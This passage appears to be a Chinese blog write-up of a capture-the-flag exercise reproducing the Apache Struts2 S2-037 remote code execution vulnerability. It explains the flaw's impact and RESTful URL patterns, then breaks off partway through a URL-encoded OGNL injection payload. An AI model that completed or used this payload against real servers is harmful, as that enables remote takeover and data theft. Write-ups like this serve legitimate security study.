CTF-Apache Struts2远程代码执行漏洞(S2-037)复现

本文链接：https://blog.csdn.net/asd158923328/article/details/100007298

本文介绍了Apache Struts2的S2-037远程代码执行漏洞，该漏洞允许攻击者通过REST调用执行任意代码。内容涉及漏洞原理、RESTful用法以及漏洞利用的EXP构造，并给出了命令执行的示例。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

根据题意
在这里插入图片描述
漏洞概述：Apache Struts 2是世界上最流行的Java Web服务器框架之一。Apache Struts2在使用REST插件的情况下，攻击者使用REST调用恶意表达式可以远程执行代码。该漏洞编号为CVE-2016-4438，目前命名为S2-037。,黑客可以利用漏洞直接执行任意代码，绕过文件限制，上传文件，执行远程命令，控制服务器，直接盗取用户的所有资料，该漏洞广泛影响所有struts版本。
rest :representational state transfer 表述性状态转移,是一种架构风格。
restful用法：
在Restful之前的操作：
http://127.0.0.1/user/query/1 GET 根据用户id查询用户数据
http://127.0.0.1/user/save POST 新增用户
http://127.0.0.1/user/update POST 修改用户信息
http://127.0.0.1/user/delete GET/POST 删除用户信息
RESTful用法：
http://127.0.0.1/user/1 GET 根据用户id查询用户数据
http://127.0.0.1/user POST 新增用户
http://127.0.0.1/user PUT 修改用户信息
http://127.0.0.1/user DELETE 删除用户信息
进入环境，直接构造exp
EXP:
%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23